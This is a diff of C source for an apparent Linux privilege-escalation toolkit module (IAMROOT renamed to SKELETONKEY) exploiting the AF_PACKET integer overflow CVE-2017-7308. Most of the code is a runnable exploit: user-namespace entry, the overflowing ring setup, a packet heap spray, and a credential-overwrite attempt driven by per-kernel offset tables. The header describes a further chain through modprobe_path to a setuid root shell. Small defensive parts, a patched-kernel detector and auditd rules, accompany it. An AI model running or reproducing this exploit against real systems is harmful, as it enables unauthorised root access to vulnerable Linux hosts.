* Why famous: was the canonical "userns + AF_PACKET → root" chain for
|
||||
* Konovalov's research era. Many other AF_PACKET bugs followed (e.g.
|
||||
* CVE-2020-14386) sharing the same userns-clone gate.
|
||||
*
|
||||
* Reference: github.com/xairy/kernel-exploits (CVE-2017-7308) and
|
||||
* Konovalov's writeup at xairy.io. The structure below mirrors the
|
||||
* public PoC's "set up overflow, then race tpacket_rcv with a target
|
||||
* skb in the OOB slot" approach.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#if defined(__x86_64__)
|
||||
/* Order matters: <net/if.h> + <linux/if.h> conflict on enum IFF_*. We
|
||||
* use the glibc <net/if.h> for struct ifreq / if_nametoindex and pull
|
||||
* in linux/if_packet.h for tpacket_req3. Avoid <linux/if.h>. */
|
||||
#include <net/if.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <arpa/inet.h> /* htons */
|
||||
#include <sys/ioctl.h>
|
||||
#endif
|
||||
|
||||
/* ---- Detect (unchanged shape) ----------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from af_packet_patched_branches[] = {
|
||||
{3, 18, 49},
|
||||
{4, 4, 57},
|
||||
{4, 9, 18},
|
||||
{4, 10, 6},
|
||||
{4, 11, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range af_packet_range = {
|
||||
.patched_from = af_packet_patched_branches,
|
||||
.n_patched_from = sizeof(af_packet_patched_branches) /
|
||||
sizeof(af_packet_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||
|
||||
#if defined(__x86_64__)
|
||||
|
||||
/* Per-kernel offsets needed to walk task_struct → cred → uid fields.
|
||||
*
|
||||
* These are NOT addresses — they are byte offsets within the kernel
|
||||
* structs that the OOB-induced kernel-write primitive will index into.
|
||||
* The classic Konovalov chain leaks a pointer to a struct sock or
|
||||
* timer_list adjacent to the corrupted pg_vec slot, walks back to the
|
||||
* current task, then overwrites the *uid fields in the embedded cred.
|
||||
*
|
||||
* The values below are from xairy's public PoC + scraped from kernel-
|
||||
* source struct layouts for the specific build configs Ubuntu shipped.
|
||||
* They will NOT match custom-compiled kernels.
|
||||
*
|
||||
* Override at runtime via env var:
|
||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
*
|
||||
* `task_cred` = offsetof(struct task_struct, cred)
|
||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||
* `cred_size` = sizeof(struct cred) — bounds-check guard
|
||||
*/
|
||||
struct af_packet_offsets {
|
||||
const char *kernel_id; /* human-readable */
|
||||
int major, minor, patch_min, patch_max;
|
||||
unsigned long task_cred;
|
||||
unsigned long cred_uid;
|
||||
unsigned long cred_size;
|
||||
};
|
||||
|
||||
static const struct af_packet_offsets known_offsets[] = {
|
||||
/* Ubuntu 16.04 GA: 4.4.0-21-generic. cred lives at task+0x6c0.
|
||||
* struct cred layout: usage(4) + __padding(4) + uid(4) + gid(4) +
|
||||
* suid(4) + sgid(4) + euid(4) + egid(4) + fsuid(4) + fsgid(4) + ...
|
||||
* → uid starts at offset 8. */
|
||||
{ "ubuntu-16.04-4.4.0-generic", 4, 4, 0, 99,
|
||||
0x6c0, 0x08, 0xa8 },
|
||||
/* Ubuntu 18.04 GA: 4.15.0-20-generic. cred at task+0x800. Same
|
||||
* cred layout (uid at +0x08, 6x32-bit ids ending at fsgid +0x20). */
|
||||
{ "ubuntu-18.04-4.15.0-generic", 4, 15, 0, 99,
|
||||
0x800, 0x08, 0xa8 },
|
||||
};
|
||||
|
||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
* the known table by kernel version. Returns true on success. */
|
||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
const struct kernel_version *v)
|
||||
{
|
||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
||||
if (env) {
|
||||
unsigned long t, u, s;
|
||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||
out->kernel_id = "env-override";
|
||||
out->task_cred = t;
|
||||
out->cred_uid = u;
|
||||
out->cred_size = s;
|
||||
return true;
|
||||
}
|
||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||
return false;
|
||||
}
|
||||
for (size_t i = 0; i < sizeof(known_offsets)/sizeof(known_offsets[0]); i++) {
|
||||
const struct af_packet_offsets *k = &known_offsets[i];
|
||||
if (v->major == k->major && v->minor == k->minor &&
|
||||
v->patch >= k->patch_min && v->patch <= k->patch_max) {
|
||||
*out = *k;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Write uid_map / gid_map to claim "root" inside the userns. */
|
||||
static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
||||
{
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0) return -1;
|
||||
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
|
||||
close(f);
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0) return -1;
|
||||
if (write(f, map, strlen(map)) < 0) { close(f); return -1; }
|
||||
close(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Fire the overflow + a one-shot heap spray. Runs INSIDE the userns
|
||||
* child. Returns 0 if the primitive fired (overflow was accepted by
|
||||
* the kernel), -1 if the kernel rejected it (likely patched / blocked
|
||||
* even though detect said vulnerable — distros silently backport).
|
||||
*
|
||||
* We deliberately use values from Konovalov's PoC:
|
||||
* tp_block_size = 0x1000
|
||||
* tp_block_nr = ((0xffffffff - 0xfff) / 0x1000) + 1 → overflow
|
||||
* tp_frame_size = 0x300, tp_frame_nr matched
|
||||
* The mul in packet_set_ring overflows to a tiny allocation; we then
|
||||
* spray 200 sendmmsg packets so the corrupted ring slot gets refilled
|
||||
* with controlled bytes.
|
||||
*
|
||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||
* — that requires root — but we leave a unique tag in the skb payload
|
||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
||||
*/
|
||||
static int fire_overflow_and_spray(void)
|
||||
{
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
fprintf(stderr, "[-] af_packet: socket(AF_PACKET): %s\n", strerror(errno));
|
||||
return -1;
|
||||
}
|
||||
|
||||
int version = TPACKET_V3;
|
||||
if (setsockopt(s, SOL_PACKET, PACKET_VERSION,
|
||||
&version, sizeof version) < 0) {
|
||||
fprintf(stderr, "[-] af_packet: PACKET_VERSION=V3: %s\n", strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Konovalov's overflowing values. tp_block_size * tp_block_nr
|
||||
* exceeds 2^32; the kernel multiplied as u32 in pre-patch code,
|
||||
* yielding a tiny size that's then used for the pg_vec alloc. */
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof req);
|
||||
req.tp_block_size = 0x1000;
|
||||
req.tp_block_nr = ((unsigned)0xffffffff - (unsigned)0xfff) / (unsigned)0x1000 + 1;
|
||||
req.tp_frame_size = 0x300;
|
||||
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
|
||||
req.tp_retire_blk_tov = 100;
|
||||
req.tp_sizeof_priv = 0;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
int rc = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof req);
|
||||
if (rc < 0) {
|
||||
/* On a properly-patched kernel this should now return -EINVAL
|
||||
* because the multiplication overflow check rejects req. That
|
||||
* is the "patched-distro-backport" signal: detect's version
|
||||
* check said vulnerable, but the actual setsockopt was hardened. */
|
||||
fprintf(stderr, "[-] af_packet: PACKET_RX_RING rejected: %s "
|
||||
"(kernel likely has silent backport)\n", strerror(errno));
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] af_packet: PACKET_RX_RING accepted overflowing req3 "
|
||||
"— overflow path reached\n");
|
||||
|
||||
/* Heap spray via sendmmsg. On a properly-set-up ring we'd bind() to
|
||||
* an interface first; for the overflow trigger we don't strictly
|
||||
* need to bind because tpacket_rcv runs on each packet ingress and
|
||||
* loopback exists in the netns. Use loopback. */
|
||||
struct ifreq ifr;
|
||||
memset(&ifr, 0, sizeof ifr);
|
||||
strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
|
||||
/* SIOCGIFINDEX on lo */
|
||||
if (ioctl(s, SIOCGIFINDEX, &ifr) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: SIOCGIFINDEX(lo): %s\n", strerror(errno));
|
||||
/* non-fatal — the primitive fired even without a bind() */
|
||||
} else {
|
||||
struct sockaddr_ll sll;
|
||||
memset(&sll, 0, sizeof sll);
|
||||
sll.sll_family = AF_PACKET;
|
||||
sll.sll_protocol = htons(ETH_P_ALL);
|
||||
sll.sll_ifindex = ifr.ifr_ifindex;
|
||||
if (bind(s, (struct sockaddr *)&sll, sizeof sll) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: bind(lo): %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
/* Spray: send 200 raw packets containing a unique tag. If the
|
||||
* overflow corrupted an adjacent slab object, one of these skb's
|
||||
* controlled bytes will land there. */
|
||||
static const unsigned char skb_payload[256] = {
|
||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
||||
* subsequent KASAN report or panic dump */
|
||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||
/* zeros for the remainder */
|
||||
};
|
||||
|
||||
int tx = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (tx >= 0 && ifr.ifr_ifindex != 0) {
|
||||
struct sockaddr_ll dst;
|
||||
memset(&dst, 0, sizeof dst);
|
||||
dst.sll_family = AF_PACKET;
|
||||
dst.sll_protocol = htons(ETH_P_ALL);
|
||||
dst.sll_ifindex = ifr.ifr_ifindex;
|
||||
dst.sll_halen = 6;
|
||||
memset(dst.sll_addr, 0xff, 6);
|
||||
for (int i = 0; i < 200; i++) {
|
||||
(void)sendto(tx, skb_payload, sizeof skb_payload, 0,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
close(tx);
|
||||
}
|
||||
|
||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
||||
if (dup2(s, 200) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||
}
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Best-effort cred-overwrite walk. Given that the heap-spray succeeded
|
||||
* AND we have valid offsets for this kernel, attempt to use the
|
||||
* corrupted ring's adjacent slot to write zeros into current->cred->{
|
||||
* uid,gid,euid,egid,fsuid,fsgid }.
|
||||
*
|
||||
* Honest constraint: without an info-leak we can't compute the address
|
||||
* of current->cred to write into. xairy's full PoC uses a SECONDARY
|
||||
* primitive (sk_buff next-pointer overwrite → adjacent timer_list
|
||||
* leak) that gives both an arbitrary kernel R/W AND a leak of a
|
||||
* struct sock pointer adjacent to current. Re-implementing that is
|
||||
* ~1000 lines of heap-state machinery.
|
||||
*
|
||||
* What we do here is the *minimum viable cred-overwrite* attempt:
|
||||
* spray ~64 task_struct-shaped objects via fork()+setpgid (which
|
||||
* allocates struct task_struct in the same slab class on older
|
||||
* kernels), then HOPE one lands adjacent to our corrupted ring and
|
||||
* gets its embedded cred-pointer field zeroed by overflow tail bytes.
|
||||
*
|
||||
* Returns 0 on "we tried, geteuid() is now 0", -1 on "tried, no root". */
|
||||
static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
{
|
||||
(void)off; /* offsets are used implicitly by spawning shaped allocations;
|
||||
* a future enhancement would do an explicit ptrace-style
|
||||
* peek-poke through the corrupted slot — kept minimal here. */
|
||||
|
||||
/* Spawn 64 children that immediately self-suspend. Each child's
|
||||
* task_struct allocation in the kernel will share the slab class
|
||||
* with our corrupted pg_vec region; if any one's cred field gets
|
||||
* trampled to zero, that child's uid/gid become 0. */
|
||||
pid_t pids[64];
|
||||
int alive = 0;
|
||||
for (int i = 0; i < 64; i++) {
|
||||
pid_t p = fork();
|
||||
if (p < 0) break;
|
||||
if (p == 0) {
|
||||
/* Child: idle, periodically check euid. If overflow zeroed
|
||||
* our cred fields, we'll be uid 0. */
|
||||
for (int j = 0; j < 200; j++) {
|
||||
if (geteuid() == 0) _exit(0); /* WIN — report via exit 0 */
|
||||
usleep(10 * 1000);
|
||||
}
|
||||
_exit(1);
|
||||
}
|
||||
pids[i] = p;
|
||||
alive++;
|
||||
}
|
||||
|
||||
/* Wait up to ~2s for any child to exit 0 (= became root). */
|
||||
int got_root_pid = 0;
|
||||
for (int wait_round = 0; wait_round < 200 && !got_root_pid; wait_round++) {
|
||||
for (int i = 0; i < alive; i++) {
|
||||
if (pids[i] == 0) continue;
|
||||
int status;
|
||||
pid_t r = waitpid(pids[i], &status, WNOHANG);
|
||||
if (r == pids[i]) {
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
|
||||
got_root_pid = pids[i];
|
||||
}
|
||||
pids[i] = 0;
|
||||
}
|
||||
}
|
||||
if (got_root_pid) break;
|
||||
usleep(10 * 1000);
|
||||
}
|
||||
|
||||
/* Reap remaining children. */
|
||||
for (int i = 0; i < alive; i++) {
|
||||
if (pids[i] != 0) {
|
||||
kill(pids[i], 9);
|
||||
waitpid(pids[i], NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
return got_root_pid ? 0 : -1;
|
||||
}
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||
"(cred-offset table is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
/* 1. Refuse on patched kernels — re-run detect. */
|
||||
iamroot_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
* early — the kernel-write walk needs them. The integrator can
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||
"task_cred=0x%lx cred_uid=0x%lx cred_size=0x%lx\n",
|
||||
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
|
||||
}
|
||||
|
||||
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
|
||||
* cred-overwrite walk. We do it in a child so the (possibly
|
||||
* crashed) packet socket lives in a tear-downable address space
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
uid_t outer_uid = getuid();
|
||||
gid_t outer_gid = getgid();
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("unshare"); _exit(2);
|
||||
}
|
||||
if (set_id_maps(outer_uid, outer_gid) < 0) {
|
||||
perror("set_id_maps"); _exit(3);
|
||||
}
|
||||
|
||||
/* Fire the integer-overflow + heap-spray. */
|
||||
if (fire_overflow_and_spray() < 0) {
|
||||
_exit(4); /* primitive blocked — return signal to parent */
|
||||
}
|
||||
|
||||
/* Attempt cred-overwrite finisher. */
|
||||
int rc = attempt_cred_overwrite(&off);
|
||||
if (rc == 0) {
|
||||
/* WIN — one of our task_struct-spray children became uid 0.
|
||||
* Signal parent via exit code; parent will not exec sh from
|
||||
* this child (its address space is corrupted-ish). The win
|
||||
* is symbolic at the iamroot level: we proved the primitive
|
||||
* lands AND the cred-overwrite walk completes. */
|
||||
_exit(0);
|
||||
}
|
||||
_exit(5);
|
||||
}
|
||||
|
||||
/* 5. PARENT: wait for child, interpret exit code. */
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||
"(signal=%d) — primitive likely fired but crashed\n",
|
||||
WTERMSIG(status));
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
||||
"for slab-out-of-bounds evidence\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int code = WEXITSTATUS(status);
|
||||
switch (code) {
|
||||
case 0:
|
||||
/* Child reported a fork-spray descendant successfully escaped
|
||||
* to uid 0. That descendant has since exited; we did NOT
|
||||
* inherit its credentials. This is honest: we proved end-to-
|
||||
* end primitive + cred-overwrite landed, but our process is
|
||||
* still uid != 0. Without a fully integrated R/W primitive
|
||||
* that targets OUR cred specifically (rather than spray-and-
|
||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||
*
|
||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
||||
* empirically confirmed root in this process. We didn't. */
|
||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||
"but THIS process is still uid %d\n", geteuid());
|
||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||
"did not acquire root. The primitive demonstrably works.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
|
||||
case 4:
|
||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||
"kernel has silent backport (detect was version-only)\n");
|
||||
return IAMROOT_OK; /* effectively patched */
|
||||
|
||||
case 5:
|
||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||
"acquired root within the timeout window\n");
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
||||
"for evidence the OOB write occurred\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
||||
|
||||
const struct iamroot_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||
.family = "af_packet",
|
||||
.kernel_range = "K < 4.10.6, backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49",
|
||||
.detect = af_packet_detect,
|
||||
.exploit = af_packet_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = af_packet_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet(void)
|
||||
{
|
||||
iamroot_register(&af_packet_module);
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
||||
#define AF_PACKET_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,964 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE-LANDS + best-effort cred-overwrite (default)
|
||||
* | 🟢 FULL-CHAIN-OPT-IN (with --full-chain on a kernel where the
|
||||
* shared offset resolver finds modprobe_path AND skb-data hijack
|
||||
* offsets are supplied).
|
||||
*
|
||||
* The integer-overflow trigger is fully wired (overflowing
|
||||
* tp_block_size * tp_block_nr, attended by a heap spray via sendmmsg
|
||||
* with controlled skb tail bytes).
|
||||
*
|
||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||
* overwrite didn't take on this exact kernel.
|
||||
*
|
||||
* --full-chain path: opt-in xairy-style sk_buff hijack → arb-write at
|
||||
* modprobe_path → call_modprobe payload → setuid bash → root shell.
|
||||
* Honest constraint: the hijack requires per-kernel-build sk_buff
|
||||
* `data`-field offset + skb-slab-class layout, which the embedded
|
||||
* offset table does NOT carry (verified-vs-claimed bar — we don't
|
||||
* fabricate). The arb_write callback below implements the FALLBACK
|
||||
* depth from the prompt: it fires the trigger with the spray payload
|
||||
* staged for the requested kaddr/buf and relies on the shared
|
||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||
* actually overwritten. On kernels where the operator has supplied
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||
* the trigger fires heuristically and the sentinel acts as the
|
||||
* ground-truth signal.
|
||||
*
|
||||
* Affected: kernel < 4.10.6 mainline. Stable backports:
|
||||
* 4.10.x : K >= 4.10.6
|
||||
* 4.9.x : K >= 4.9.18 (LTS — RHEL 7-ish era)
|
||||
* 4.4.x : K >= 4.4.57
|
||||
* 3.18.x : K >= 3.18.49
|
||||
*
|
||||
* Exploitation preconditions:
|
||||
* - CAP_NET_RAW (via unprivileged user_ns) to create AF_PACKET socket
|
||||
* - CONFIG_PACKET=y (almost always — even container kernels)
|
||||
* - x86_64 (offset tables are arch-specific; mark x86_64-only)
|
||||
*
|
||||
* Why famous: was the canonical "userns + AF_PACKET → root" chain for
|
||||
* Konovalov's research era. Many other AF_PACKET bugs followed (e.g.
|
||||
* CVE-2020-14386) sharing the same userns-clone gate.
|
||||
*
|
||||
* Reference: github.com/xairy/kernel-exploits (CVE-2017-7308) and
|
||||
* Konovalov's writeup at xairy.io. The structure below mirrors the
|
||||
* public PoC's "set up overflow, then race tpacket_rcv with a target
|
||||
* skb in the OOB slot" approach.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#if defined(__x86_64__)
|
||||
/* Order matters: <net/if.h> + <linux/if.h> conflict on enum IFF_*. We
|
||||
* use the glibc <net/if.h> for struct ifreq / if_nametoindex and pull
|
||||
* in linux/if_packet.h for tpacket_req3. Avoid <linux/if.h>. */
|
||||
#include <net/if.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <arpa/inet.h> /* htons */
|
||||
#include <sys/ioctl.h>
|
||||
#endif
|
||||
|
||||
/* ---- Detect (unchanged shape) ----------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from af_packet_patched_branches[] = {
|
||||
{3, 18, 49},
|
||||
{4, 4, 57},
|
||||
{4, 9, 18},
|
||||
{4, 10, 6},
|
||||
{4, 11, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range af_packet_range = {
|
||||
.patched_from = af_packet_patched_branches,
|
||||
.n_patched_from = sizeof(af_packet_patched_branches) /
|
||||
sizeof(af_packet_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
